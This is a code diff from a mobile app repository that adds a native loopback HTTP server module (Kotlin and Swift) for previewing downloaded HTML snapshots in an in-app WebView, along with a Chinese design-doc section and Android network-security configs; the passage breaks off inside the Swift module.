/** item.relPath → 被控端绝对路径(HTML 资源透传要据此定位同目录)。 */
absolutePathOf(relPath: string): string;
active: boolean;
- /** 页面引用的资源 → `data:` URI(签名地址不进页面,见屏级 fetchResourceDataUri)。 */
- fetchResourceDataUri(
- target: HtmlResourceFetchTarget,
- limits: { baseDir: string; maxBytes: number },
- ): Promise<string>;
+ /** 下载完整目录并返回受控网页预览,签名地址不进入页面。 */
+ prepareHtmlPreview: PrepareMobileHtmlPreview;
item: FileBrowserGridItem;
onDownload(): void;
/** 上报本页是否处在 HTML 渲染态(外层 pager 据此让出横滑,见调用处说明)。 */
@@ -980,7 +910,7 @@ function TextPreviewPage({
const cacheable = !!workdir && !isAbsolutePathShape(item.relPath);
const [state, setState] = useState<TextPreviewState>(() => {
// 内存缓存命中(mtime keyed)直接就绪:翻页/重进零等待、零重复拉取。
- const cached = cacheable ? getCachedPreviewText(workdir, item.relPath, item.mtimeMs) : null;
+ const cached = cacheable ? getCachedPreviewText(cacheScope, workdir, item.relPath, item.mtimeMs) : null;
return cached
? {
status: 'ready',
@@ -1033,7 +963,7 @@ function TextPreviewPage({
// 原文只为渲染态(markdown / HTML)保留,普通代码文件不留大字符串。
content: richKind ? content : undefined,
};
- if (cacheable) storeCachedPreviewText(workdir, item.relPath, res.data.mtimeMs, ready);
+ if (cacheable) storeCachedPreviewText(cacheScope, workdir, item.relPath, res.data.mtimeMs, ready);
setState({ status: 'ready', ...ready });
})
.catch((err) => {
@@ -1044,55 +974,47 @@ function TextPreviewPage({
return () => {
cancelled = true;
};
- }, [active, cacheable, item.relPath, richKind, readTextFile, t, workdir]);
+ }, [active, cacheable, cacheScope, item.relPath, richKind, readTextFile, t, workdir]);
- // HTML 资源透传:页面引用的同目录资源取回后回填,自包含页面零请求直接过。
- // hook 必须在下面的早返回之前无条件调用 —— 未就绪时传空串,内部即刻短路。
- const htmlSource = richKind === 'html' && state.status === 'ready' ? (state.content ?? '') : '';
- const htmlBaseDir = useMemo(
- () => (htmlSource ? htmlBaseDirOf(absolutePathOf(item.relPath)) : ''),
- [absolutePathOf, htmlSource, item.relPath],
+ const htmlSnapshot = useHtmlSnapshot(
+ absolutePathOf(item.relPath),
+ visible && richKind === 'html' && richView === 'rendered',
+ prepareHtmlPreview,
);
- const htmlResources = useHtmlLocalResources(htmlSource, htmlBaseDir, fetchResourceDataUri);
- const resourceNotices = [
- htmlResources.failed > 0
- ? t('files.preview.htmlResourcesMissing', { count: htmlResources.failed })
- : null,
- // 条数上限与总量预算**分开提示**(review P2):只有前者才等于「前 32 项已取回」,
- // 总量预算可能在第 3 项就用尽,合并成一条会谎报取回数量。
- htmlResources.overLimit > 0
- ? t('files.preview.htmlResourcesTruncated', { limit: HTML_RESOURCE_LIMIT })
- : null,
- htmlResources.overBudget > 0
- ? t('files.preview.htmlResourcesOverBudget', { count: htmlResources.overBudget })
- : null,
- ].filter((line): line is string => line !== null);
-
- // 只有「可见 + HTML + 渲染态 + 正文就绪 + 资源取件已结束」这一种组合真的挂着 WebView,
- // 需要外层让出横滑。资源还在取时页面上是 spinner —— 那时禁滑只会让用户滑不走。
- // cleanup 无条件报 false:卸载(翻页 / 失焦 / 换文件)后不能把 pager 留在禁滑状态。
+ const [htmlLoadError, setHtmlLoadError] = useState(false);
+ useEffect(() => { setHtmlLoadError(false); }, [htmlSnapshot.preview]);
+ const htmlError = htmlSnapshot.error || (htmlLoadError ? new Error('HTML_PREVIEW_LOAD_FAILED') : null);
+ const htmlErrorCode = htmlError instanceof Error ? htmlError.message : '';
+ const htmlErrorMessage = htmlErrorCode === 'HTML_PREVIEW_NATIVE_UNAVAILABLE'
+ ? t('files.preview.htmlUpdateMobile')
+ : htmlErrorCode === 'COMPLETE_DIRECTORY_LISTING_UNSUPPORTED'
+ ? t('files.preview.htmlUpdateDesktop')
+ : htmlErrorCode === 'PREVIEW_TOO_LARGE'
+ ? t('files.preview.htmlSnapshotTooLarge')
+ : t('files.preview.htmlSnapshotFailed');
const htmlPanWanted = visible && richKind === 'html' && richView === 'rendered'
- && state.status === 'ready' && !htmlResources.loading;
+ && htmlSnapshot.foreground && !!htmlSnapshot.preview && !htmlError;
useEffect(() => {
onHtmlPanChange?.(item.key, htmlPanWanted);
return () => onHtmlPanChange?.(item.key, false);
}, [htmlPanWanted, item.key, onHtmlPanChange]);
- if (state.status === 'loading') {
+ if (state.status === 'loading' && richKind !== 'html') {
return (
<View style={styles.centerFill}>
<ActivityIndicator color={colors.textTertiary} />
</View>
);
}
- if (state.status === 'unavailable') {
+ if (state.status === 'unavailable' && richKind !== 'html') {
return <UnsupportedPage item={item} onDownload={onDownload} reason={state.reason} />;
}
- const targetIndex = targetLine !== null && targetLine <= state.lines.length ? targetLine - 1 : null;
- const lineNumWidth = String(state.lines.length).length;
- const clipped = state.truncated || state.totalLines > state.lines.length;
- const canRenderRich = richKind !== null && typeof state.content === 'string';
+ const ready = state.status === 'ready' ? state : null;
+ const targetIndex = targetLine !== null && targetLine <= (ready?.lines.length ?? 0) ? targetLine - 1 : null;
+ const lineNumWidth = String(ready?.lines.length ?? 0).length;
+ const clipped = ready && (ready.truncated || ready.totalLines > ready.lines.length) && !(richKind === 'html' && richView === 'rendered');
+ const canRenderRich = richKind === 'html' || (richKind !== null && typeof ready?.content === 'string');
const showRendered = canRenderRich && richView === 'rendered';
return (
<View style={styles.textPage}>
@@ -1100,7 +1022,7 @@ function TextPreviewPage({
<View style={styles.truncBar} testID="filePreview.truncBanner">
<Info color={colors.textSecondary} size={iconSize.sm} strokeWidth={iconStroke.regular} />
<Text style={styles.truncText}>
- {state.truncated ? t('files.preview.truncated2mb') : t('files.preview.truncatedLines', { lines: MAX_RENDERED_LINES })}
+ {ready?.truncated ? t('files.preview.truncated2mb') : t('files.preview.truncatedLines', { lines: MAX_RENDERED_LINES })}
</Text>
</View>
) : null}
@@ -1123,34 +1045,36 @@ function TextPreviewPage({
))}
</View>
) : null}
- {showRendered && richKind === 'html' && resourceNotices.length > 0 ? (
- <View style={styles.truncBar} testID="filePreview.htmlResourceNotice">
- <Info color={colors.textSecondary} size={iconSize.sm} strokeWidth={iconStroke.regular} />
- <Text style={styles.truncText}>{resourceNotices.join(' · ')}</Text>
- </View>
- ) : null}
{showRendered ? (
richKind === 'html' ? (
// **只在真正可见的当前页挂载**(review P1):HTML 里的脚本是可执行的不可信
// 内容,相邻预取页提前挂 WebView 会让用户还没打开的文件里的脚本 / 计时器 /
// 网络请求先跑起来。离开当前页即卸载 —— 卸载 WebView 是停掉这些东西最彻底
- // 的方式(比 injectJavaScript 去逐个 clearInterval 可靠)。文本预取与资源
- // 取件都不受影响,所以滑回来时无需重新取。
+ // 的方式(比 injectJavaScript 去逐个 clearInterval 可靠)。离开后释放快照。
!visible ? (
<View style={styles.centerFill} testID="filePreview.htmlOffscreen" />
- ) : htmlResources.loading ? (
+ ) : htmlError ? (
+ <View style={styles.centerFill} testID="filePreview.htmlError">
+ <Text style={styles.hintText}>{htmlErrorMessage}</Text>
+ <MainWindowActionButton action={{ label: t('files.preview.htmlReload'), onPress: htmlSnapshot.retry }} />
+ </View>
+ ) : !htmlSnapshot.preview || !htmlSnapshot.foreground ? (
// 取件期间不先渲染破图再热替换 —— 那会让 WebView 重载、页面闪一下。
<View style={styles.centerFill} testID="filePreview.htmlResourceLoading">
<ActivityIndicator color={colors.textTertiary} />
<Text style={styles.hintText}>{t('files.preview.fetchingHtmlResources')}</Text>
</View>
) : (
- // HTML 生成物:已读到的文本 + 内联好的同目录资源进 WebView。
- <HtmlFileReader html={htmlResources.html} testID="filePreview.htmlRendered" />
+ // 只有完整下载并加固过的目录快照才能进入 WebView。
+ <HtmlSnapshotReader preview={htmlSnapshot.preview} onError={() => setHtmlLoadError(true)} />
)
) : (
- <MarkdownFileReader markdown={state.content ?? ''} onQuoteSelection={onQuoteSelection} targetLine={targetLine} testID="filePreview.markdownRendered" />
+ <MarkdownFileReader markdown={ready?.content ?? ''} onQuoteSelection={onQuoteSelection} targetLine={targetLine} testID="filePreview.markdownRendered" />
)
+ ) : state.status === 'loading' ? (
+ <View style={styles.centerFill}><ActivityIndicator color={colors.textTertiary} /></View>
+ ) : state.status === 'unavailable' ? (
+ <UnsupportedPage item={item} onDownload={onDownload} reason={state.reason} />
) : (
<FlatList
contentContainerStyle={styles.codeContent}
diff --git a/apps/mobile/app/sessions/[sessionId].tsx b/apps/mobile/app/sessions/[sessionId].tsx
index 109cda5d84..810c76ccf4 100644
--- a/apps/mobile/app/sessions/[sessionId].tsx
+++ b/apps/mobile/app/sessions/[sessionId].tsx
@@ -8433,7 +8433,7 @@ export default function SessionScreen() {
let url: string;
if (target.relPath === null) {
url = await fetchRemoteAbsFileToUrl(
- { maker, deviceId, openLink, presignGet },
+ { maker, deviceId, openLink, presignGet, stream: false },
target.absPath,
);
} else {
diff --git a/apps/mobile/docs/remote-control-plan.md b/apps/mobile/docs/remote-control-plan.md
index 3cff709eda..3038c8a03f 100644
--- a/apps/mobile/docs/remote-control-plan.md
+++ b/apps/mobile/docs/remote-control-plan.md
@@ -1565,3 +1565,33 @@ V2 完成标准:
- 手机完整支持协作模式 / Orca。
- Lead / Worker 切换、创建 worker、switch focus、archive worker、stop collaboration 全部可用。
+
+## HTML 文件预览
+
+消息里的 `xdt-file` 链接与文件浏览共用 `/files/preview/[sessionId]`。HTML 渲染态通过
+`mobileHtmlPreview.ts` 按网页实际请求读取资源,再由 `modules/cindy-html-preview`
+在手机的 `127.0.0.1` 随机端口提供只读 HTTP,交给应用内 WebView。源码查看保持原有文本
+读取和大小限制,不影响完整网页的渲染。
+
+- 新原生接口 `startOnDemand` / `resolveRequest` 通过事件请求单个资源;打开时不枚举目录,
+ 不检查目录文件数和总大小。资源复用既有内联、WebRTC 直连/TURN、OSS 回退及 SSH 读取链路。
+ 文件通道忙时排队;预览不另设 100 MiB 限制,文件传输上限提高至 2 GiB。完整接收后响应,
+ 不是 HTTP Range 流式传输。临时传输总预算为 4 GiB,接收前预留消费者副本与 256 MiB 磁盘余量。
+ 接收命令改为 60 秒无落盘进展超时;原生请求含排队的总等待窗口为两小时。
+- 单个资源失败不关闭整个页面。各次请求可能看到不同时间的源文件,不再承诺目录一致快照。
+ 资源限于入口父目录,拒绝隐藏路径,并通过源端 realpath 校验阻止符号链接越界。
+- 保留旧 `start(files)` 原生接口兼容;旧安装包继续使用原来的目录快照及 2000 项、100 MiB、
+ 32 层限制。按需加载必须配合新原生安装包。
+- 每个 HTML 都先校验 UTF-8 并添加现有 CSP/设备能力守卫;脚本、样式、图片和 fetch
+ 可访问同源资源,顶层导航只允许该目录内的 HTML。签名下载地址和账号凭证不进入网页。
+ 既有 WebRTC/子 realm 边界仍见 `htmlPreviewCsp.ts`,不能宣称完整隔离或绝对零出网。
+- 离开预览、切到源码、进入后台时取消下载并停止服务;回到前台重新打开预览。
+ 临时文件正常关闭时删除,进程异常退出的残留在下次预览时回收。
+- 手机端只承诺应用内预览;切到系统浏览器会使 App 进入后台,不承诺外置浏览器可持续访问。
+ 不运行项目的后端、开发服务器或动态构建,也不自动访问快照目录外的资源。
+- 此功能新增原生模块,改变 iOS/Android runtime fingerprint,现有安装包需冷更;合并仍遵守
+ `docs/dev-rules/mobile-development.md` 的冷更确认门。服务端不需要新增接口。
+
+定向行为测试为 `htmlDirectorySnapshot.test.ts`、`mobileHtmlPreview.test.ts` 及既有预览/链接
+测试;macOS 可运行 `node apps/mobile/scripts/test-html-preview-native.mjs --on-demand` 验证生产 Swift
+监听器的真实 HTTP、路径/来源限制和关闭行为。该测试不替代手机 WebView 与 Android 实测。
diff --git a/apps/mobile/modules/cindy-html-preview/LICENSE b/apps/mobile/modules/cindy-html-preview/LICENSE
new file mode 100644
index 0000000000..30b20e3b5f
--- /dev/null
+++ b/apps/mobile/modules/cindy-html-preview/LICENSE
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2015-present 650 Industries, Inc. (aka Expo)
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/apps/mobile/modules/cindy-html-preview/android/build.gradle b/apps/mobile/modules/cindy-html-preview/android/build.gradle
new file mode 100644
index 0000000000..45a4df0209
--- /dev/null
+++ b/apps/mobile/modules/cindy-html-preview/android/build.gradle
@@ -0,0 +1,18 @@
+plugins {
+ id 'com.android.library'
+ id 'expo-module-gradle-plugin'
+}
+
+group = 'expo.modules.cindyhtmlpreview'
+version = '0.1.0'
+
+android {
+ namespace "expo.modules.cindyhtmlpreview"
+ defaultConfig {
+ versionCode 1
+ versionName "0.1.0"
+ }
+ lintOptions {
+ abortOnError false
+ }
+}
diff --git a/apps/mobile/modules/cindy-html-preview/android/src/debug/res/xml/cindy_html_preview_network_security.xml b/apps/mobile/modules/cindy-html-preview/android/src/debug/res/xml/cindy_html_preview_network_security.xml
new file mode 100644
index 0000000000..cdf56c931c
--- /dev/null
+++ b/apps/mobile/modules/cindy-html-preview/android/src/debug/res/xml/cindy_html_preview_network_security.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<network-security-config>
+ <!-- Development builds also need HTTP to the developer's Metro host, including LAN IPs. -->
+ <base-config cleartextTrafficPermitted="true" />
+</network-security-config>
diff --git a/apps/mobile/modules/cindy-html-preview/android/src/main/AndroidManifest.xml b/apps/mobile/modules/cindy-html-preview/android/src/main/AndroidManifest.xml
new file mode 100644
index 0000000000..8da5a76624
--- /dev/null
+++ b/apps/mobile/modules/cindy-html-preview/android/src/main/AndroidManifest.xml
@@ -0,0 +1,3 @@
+<manifest xmlns:android="http://schemas.android.com/apk/res/android">
+ <application android:networkSecurityConfig="@xml/cindy_html_preview_network_security" />
+</manifest>
diff --git a/apps/mobile/modules/cindy-html-preview/android/src/main/java/expo/modules/cindyhtmlpreview/CindyHtmlPreviewModule.kt b/apps/mobile/modules/cindy-html-preview/android/src/main/java/expo/modules/cindyhtmlpreview/CindyHtmlPreviewModule.kt
new file mode 100644
index 0000000000..63450d4e35
--- /dev/null
+++ b/apps/mobile/modules/cindy-html-preview/android/src/main/java/expo/modules/cindyhtmlpreview/CindyHtmlPreviewModule.kt
@@ -0,0 +1,47 @@
+package expo.modules.cindyhtmlpreview
+
+import expo.modules.kotlin.modules.Module
+import expo.modules.kotlin.modules.ModuleDefinition
+import java.io.File
+
+class CindyHtmlPreviewModule : Module() {
+ private val servers = mutableMapOf<String, HtmlSnapshotServer>()
+ private var foreground = true
+ override fun definition() = ModuleDefinition {
+ Name("CindyHtmlPreview")
+ Events("resourceRequest", "resourceClosed")
+ AsyncFunction("start") { root: String, entry: String, token: String, csp: String, files: List<List<String>> ->
+ synchronized(servers) {
+ val cache = requireNotNull(appContext.reactContext).cacheDir.canonicalPath
+ require(File(root).canonicalPath.startsWith(cache + File.separator))
+ require(foreground && servers.size < 4 && !servers.containsKey(token))
+ val server = HtmlSnapshotServer(root, entry, token, csp, files)
+ servers[token] = server
+ server.start()
+ }
+ }
+ AsyncFunction("startOnDemand") { root: String, entry: String, token: String, csp: String ->
+ synchronized(servers) {
+ val cache = requireNotNull(appContext.reactContext).cacheDir.canonicalPath
+ require(File(root).canonicalPath.startsWith(cache + File.separator))
+ require(foreground && servers.size < 4 && !servers.containsKey(token))
+ val server = HtmlSnapshotServer(root, entry, token, csp, emptyList(),
+ onRequest = { id, path -> sendEvent("resourceRequest", mapOf("token" to token, "id" to id, "path" to path)) },
+ onClose = { id -> sendEvent("resourceClosed", mapOf("token" to token, "id" to id)) })
+ servers[token] = server
+ server.start()
+ }
+ }
+ AsyncFunction("resolveRequest") { token: String, id: String, filename: String, mime: String, status: Int ->
+ synchronized(servers) { servers[token]?.resolve(id, filename, mime, status) ?: false }
+ }
+ AsyncFunction("stop") { token: String -> synchronized(servers) { servers.remove(token)?.stop(); Unit } }
+ OnActivityEntersBackground { synchronized(servers) { foreground = false; stopAll() } }
+ OnActivityEntersForeground { synchronized(servers) { foreground = true } }
+ OnDestroy { stopAll() }
+ }
+ private fun stopAll() = synchronized(servers) {
+ servers.values.forEach { it.stop() }
+ servers.clear()
+ }
+}
diff --git a/apps/mobile/modules/cindy-html-preview/android/src/main/java/expo/modules/cindyhtmlpreview/HtmlSnapshotServer.kt b/apps/mobile/modules/cindy-html-preview/android/src/main/java/expo/modules/cindyhtmlpreview/HtmlSnapshotServer.kt
new file mode 100644
index 0000000000..28f8f60404
--- /dev/null
+++ b/apps/mobile/modules/cindy-html-preview/android/src/main/java/expo/modules/cindyhtmlpreview/HtmlSnapshotServer.kt
@@ -0,0 +1,190 @@
+package expo.modules.cindyhtmlpreview
+
+import java.io.ByteArrayOutputStream
+import java.io.File
+import java.util.UUID
+import java.util.concurrent.CompletableFuture
+import java.net.InetAddress
+import java.net.ServerSocket
+import java.net.Socket
+import java.net.URLDecoder
+import java.net.URLEncoder
+import java.util.concurrent.ArrayBlockingQueue
+import java.util.concurrent.Executors
+import java.util.concurrent.Future
+import java.util.concurrent.ThreadPoolExecutor
+import java.util.concurrent.TimeUnit
+
+/** One bounded HTTP/1 GET/HEAD request per socket. No uploads, proxying, or directory listing. */
+internal class HtmlSnapshotServer(root: String, private val entry: String, private val token: String,
+ private val csp: String, files: List<List<String>>,
+ private val onRequest: ((String, String) -> Unit)? = null,
+ private val onClose: ((String) -> Unit)? = null) {
+ private val directory = File(root).canonicalFile
+ private data class Resource(val file: File?, val mime: String, val status: Int)
+ private val requests = mutableMapOf<String, CompletableFuture<Resource>>()
+ private val assets = mutableMapOf<String, Pair<File, String>>()
+ private val clients = mutableSetOf<Socket>()
+ private val workers = ThreadPoolExecutor(4, 4, 0, TimeUnit.SECONDS, ArrayBlockingQueue<Runnable>(12))
+ private val deadlines = Executors.newSingleThreadScheduledExecutor()
+ private val disconnectWatchers = Executors.newCachedThreadPool()
+ private val listener: ServerSocket
+ @Volatile private var stopped = false
+ private val origin get() = "http://127.0.0.1:${listener.localPort}"
+
+ init {
+ require(Regex("^[a-f0-9]{48}$").matches(token) && !csp.contains('\r') && !csp.contains('\n'))
+ files.forEach { row ->
+ require(row.size == 3 && Regex("^[0-9]+$").matches(row[1]) && Regex("^[a-z]+/[a-z0-9.+-]+$").matches(row[2]))
+ require(row[0].split('/').none { it.isEmpty() || it.startsWith('.') } && !row[0].contains('\\') && !row[0].contains('\u0000'))
+ val key = "/" + row[0]
+ val file = File(directory, row[1])
+ require(!assets.containsKey(key) && file.isFile && file.canonicalPath == file.absolutePath)
+ assets[key] = file to row[2]
+ }
+ require((onRequest != null && validPath(entry)) || assets["/$entry"]?.second == "text/html")
+ listener = ServerSocket(0, 16, InetAddress.getByName("127.0.0.1"))
+ }
+
+ fun start(): String {
+ Thread({
+ while (!stopped) {
+ val socket = try { listener.accept() } catch (_: Exception) { break }
+ synchronized(clients) {
+ if (stopped || clients.size >= 16) { socket.close(); return@synchronized }
+ clients.add(socket)
+ try {
+ socket.soTimeout = 5000
+ val deadline = deadlines.schedule({ try { socket.close() } catch (_: Exception) {} }, if (onRequest == null) 15 else 7200, TimeUnit.SECONDS)
+ workers.execute {
+ try { socket.use { respond(it) } } catch (_: Exception) { try { socket.close() } catch (_: Exception) {} }
+ finally { deadline.cancel(false); synchronized(clients) { clients.remove(socket) } }
+ }
+ } catch (_: Exception) { clients.remove(socket); socket.close() }
+ }
+ }
+ }, "cindy-html-preview").apply { isDaemon = true }.start()
+ return "$origin/__cindy/$token"
+ }
+
+ fun stop() {
+ stopped = true
+ try { listener.close() } catch (_: Exception) {}
+ synchronized(clients) { clients.forEach { try { it.close() } catch (_: Exception) {} }; clients.clear() }
+ synchronized(requests) { requests.values.forEach { it.complete(Resource(null, "", 502)) } }
+ workers.shutdownNow()
+ deadlines.shutdownNow()
+ disconnectWatchers.shutdownNow()
+ }
+
+ fun resolve(id: String, filename: String, mime: String, status: Int): Boolean = synchronized(requests) {
+ val pending = requests[id] ?: return@synchronized false
+ if (stopped || pending.isDone) return@synchronized false
+ if (status != 200) { pending.complete(Resource(null, "", if (status == 404) 404 else 502)); return@synchronized false }
+ if (!Regex("^[0-9]+$").matches(filename) || !Regex("^[a-z]+/[a-z0-9.+-]+$").matches(mime)) {
+ pending.complete(Resource(null, "", 502)); return@synchronized false
+ }
+ pending.complete(Resource(File(directory, filename), mime, 200))
+ }
+
+ private fun validPath(path: String) = path.isNotEmpty() && !path.contains('\\') && !path.contains(':') && !path.contains('\u0000') &&
+ path.split('/').none { it.isEmpty() || it.startsWith('.') }
+
+ private fun respond(socket: Socket) {
+ val input = socket.getInputStream()
+ val bytes = ByteArrayOutputStream()
+ var tail = 0
+ while (bytes.size() < 16384) {
+ val byte = input.read()
+ if (byte < 0) return
+ bytes.write(byte)
+ tail = (tail shl 8) or byte
+ if (tail == 0x0d0a0d0a) break
+ }
+ if (tail != 0x0d0a0d0a) return
+ val lines = bytes.toString("UTF-8").removeSuffix("\r\n\r\n").split("\r\n")
+ val first = lines.first().split(' ')
+ if (first.size != 3 || first[0] !in listOf("GET", "HEAD") || first[2] !in listOf("HTTP/1.0", "HTTP/1.1")
+ || !first[1].startsWith('/') || first[1].startsWith("//")) { send(socket, 400); return }
+ val headers = mutableMapOf<String, String>()
+ for (line in lines.drop(1)) {
+ val colon = line.indexOf(':')
+ if (colon <= 0) { send(socket, 400); return }
+ val key = line.substring(0, colon).lowercase(java.util.Locale.ROOT)
+ if (key.trim() != key || headers.containsKey(key)) { send(socket, 400); return }
+ headers[key] = line.substring(colon + 1).trim()
+ }
+ if (headers["host"] != origin.removePrefix("http://") || (headers["origin"] != null && headers["origin"] != origin)
+ || headers["sec-fetch-site"] == "cross-site" || (headers["referer"] != null && !headers["referer"]!!.startsWith("$origin/"))
+ || headers["transfer-encoding"] != null || (headers["content-length"] != null && headers["content-length"] != "0")) {
+ send(socket, 403); return
+ }
+ val rawPath = first[1].substringBefore('?')
+ if (rawPath == "/__cindy/$token") {
+ val escaped = entry.split('/').joinToString("/") { URLEncoder.encode(it, "UTF-8").replace("+", "%20") }
+ send(socket, 302, "Set-Cookie: cindy_$token=$token; HttpOnly; SameSite=Strict; Path=/\r\nLocation: /$escaped\r\n")
+ return
+ }
+ if (headers["cookie"]?.split(';')?.map { it.trim() }?.contains("cindy_$token=$token") != true) { send(socket, 403); return }
+ var path = try { URLDecoder.decode(rawPath.replace("+", "%2B"), "UTF-8") } catch (_: Exception) { send(socket, 400); return }
+ if (path.contains('\\') || path.contains('\u0000') || path.split('/').any { it == "." || it == ".." }) { send(socket, 403); return }
+ if (path.endsWith('/')) path += "index.html"
+ if (onRequest != null) {
+ val relative = path.removePrefix("/")
+ if (!validPath(relative)) { send(socket, 404); return }
+ val id = UUID.randomUUID().toString()
+ val future = CompletableFuture<Resource>()
+ synchronized(requests) { requests[id] = future }
+ var disconnectWatcher: Future<*>? = null
+ try {
+ onRequest.invoke(id, relative)
+ // The request has no body. Keep one blocking read on the same socket so a
+ // WebView cancellation/close completes the resource future immediately;
+ // otherwise a peer fetch could remain in flight for the full 2-hour bound.
+ socket.soTimeout = 0
+ disconnectWatcher = disconnectWatchers.submit {
+ try {
+ if (input.read() < 0) future.complete(Resource(null, "", 499))
+ } catch (_: Exception) {
+ future.complete(Resource(null, "", 499))
+ }
+ }
+ val resource = future.get(7200, TimeUnit.SECONDS)
+ if (resource.file == null) send(socket, resource.status)
+ else serve(socket, resource.file, resource.mime, first[0] == "HEAD")
+ } finally {
+ disconnectWatcher?.cancel(true)
+ synchronized(requests) {
+ requests.remove(id)
+ // On-demand files belong to the preview until stop(); snapshot assets are not request-owned.
+ if (onRequest == null) future.getNow(null)?.file?.delete()
+ }
+ onClose?.invoke(id)
+ }
+ return
+ }
+ val asset = assets[path]
+ if (asset == null) { send(socket, 404); return }
+ serve(socket, asset.first, asset.second, first[0] == "HEAD")
+ }
+
+ private fun serve(socket: Socket, file: File, mime: String, headOnly: Boolean) {
+ if (!file.isFile || file.canonicalPath != file.absolutePath) { send(socket, 404); return }
+ val type = if (mime == "text/html") "$mime; charset=utf-8" else mime
+ val output = socket.getOutputStream()
+ file.inputStream().use { data ->
+ output.write(head(200, file.length(), "Content-Type: $type\r\n").toByteArray(Charsets.UTF_8))
+ if (!headOnly) data.copyTo(output, 65536)
+ }
+ output.flush()
+ }
+
+ private fun head(status: Int, length: Long = 0, extra: String = ""): String =
+ "HTTP/1.1 $status ${if (status == 200) "OK" else if (status == 302) "Found" else "Error"}\r\n" +
+ "Connection: close\r\nContent-Length: $length\r\nCache-Control: no-store\r\nX-Content-Type-Options: nosniff\r\n" +
+ "Content-Security-Policy: $csp\r\nPermissions-Policy: camera=(), microphone=(), geolocation=()\r\nReferrer-Policy: no-referrer\r\n$extra\r\n"
+
+ private fun send(socket: Socket, status: Int, extra: String = "") {
+ socket.getOutputStream().write(head(status, extra = extra).toByteArray(Charsets.UTF_8))
+ }
+}
diff --git a/apps/mobile/modules/cindy-html-preview/android/src/main/res/xml/cindy_html_preview_network_security.xml b/apps/mobile/modules/cindy-html-preview/android/src/main/res/xml/cindy_html_preview_network_security.xml
new file mode 100644
index 0000000000..15fcc1968f
--- /dev/null
+++ b/apps/mobile/modules/cindy-html-preview/android/src/main/res/xml/cindy_html_preview_network_security.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<network-security-config>
+ <!-- Keep Android's HTTPS default; only the on-device snapshot listener needs HTTP. -->
+ <domain-config cleartextTrafficPermitted="true">
+ <domain>127.0.0.1</domain>
+ </domain-config>
+</network-security-config>
diff --git a/apps/mobile/modules/cindy-html-preview/expo-module.config.json b/apps/mobile/modules/cindy-html-preview/expo-module.config.json
new file mode 100644
index 0000000000..eef814932d
--- /dev/null
+++ b/apps/mobile/modules/cindy-html-preview/expo-module.config.json
@@ -0,0 +1,9 @@
+{
+ "platforms": ["apple", "android"],
+ "apple": {
+ "modules": ["CindyHtmlPreviewModule"]
+ },
+ "android": {
+ "modules": ["expo.modules.cindyhtmlpreview.CindyHtmlPreviewModule"]
+ }
+}
diff --git a/apps/mobile/modules/cindy-html-preview/ios/CindyHtmlPreview.podspec b/apps/mobile/modules/cindy-html-preview/ios/CindyHtmlPreview.podspec
new file mode 100644
index 0000000000..316e9bc8e5
--- /dev/null
+++ b/apps/mobile/modules/cindy-html-preview/ios/CindyHtmlPreview.podspec
@@ -0,0 +1,25 @@
+Pod::Spec.new do |s|
+ s.name = 'CindyHtmlPreview'
+ s.version = '1.0.0'
+ s.summary = 'Loopback static HTML snapshot preview for Cindy'
+ s.description = 'A bounded read-only HTTP listener for downloaded HTML snapshots.'
+ s.author = 'Cindy'
+ s.license = { :type => 'Apache-2.0', :file => '../../../../../LICENSE' }
+ s.homepage = 'https://github.com/makecindy/cindy'
+ s.platforms = {
+ :ios => '16.4'
+ }
+ s.source = { git: 'https://github.com/makecindy/cindy.git' }
+ s.swift_version = '5.9'
+ s.frameworks = 'Network'
+ s.static_framework = true
+
+ s.dependency 'ExpoModulesCore'
+
+ # Swift/Objective-C compatibility
+ s.pod_target_xcconfig = {
+ 'DEFINES_MODULE' => 'YES',
+ }
+
+ s.source_files = "**/*.{h,m,mm,swift,hpp,cpp}"
+end
diff --git a/apps/mobile/modules/cindy-html-preview/ios/CindyHtmlPreviewModule.swift b/apps/mobile/modules/cindy-html-preview/ios/CindyHtmlPreviewModule.swift
new file mode 100644
index 0000000000..edc2c8847f
--- /dev/null
+++ b/apps/mobile/modules/cindy-html-preview/ios/CindyHtmlPreviewModule.swift
@@ -0,0 +1,63 @@
+import ExpoModulesCore
+
+public class CindyHtmlPreviewModule: Module {
+ private var servers: [String: HtmlSnapshotServer] = [:]
+ private let queue = DispatchQueue(label: "cindy.html-preview")
+ private var foreground = true
+
+ public func definition() -> ModuleDefinition {
+ Name("CindyHtmlPreview")
+ Events("resourceRequest", "resourceClosed")
+ AsyncFunction("start") { (root: String, entry: String, token: String, csp: String, files: [[String]], promise: Promise) in
+ do {
+ guard self.foreground, self.servers.count < 4, self.servers[token] == nil,
+ let cache = FileManager.default.urls(for: .cachesDirectory, in: .userDomainMask).first,
+ URL(fileURLWithPath: root).resolvingSymlinksInPath().path.hasPrefix(cache.resolvingSymlinksInPath().path + "/")
+ else { throw HtmlSnapshotServer.Failure.invalid }
+ let server = try HtmlSnapshotServer(root: root, entry: entry, token: token, csp: csp, files: files, queue: self.queue)
+ self.servers[token] = server
+ server.start { result in
+ switch result {
+ case .success(let url): promise.resolve(url)
+ case .failure:
+ self.servers.removeValue(forKey: token)?.stop()
+ promise.reject("HTML_PREVIEW_START_FAILED", "Unable to start HTML preview")
+ }
+ }
+ } catch { promise.reject("HTML_PREVIEW_START_FAILED", "Unable to start HTML preview") }
+ }.runOnQueue(queue)
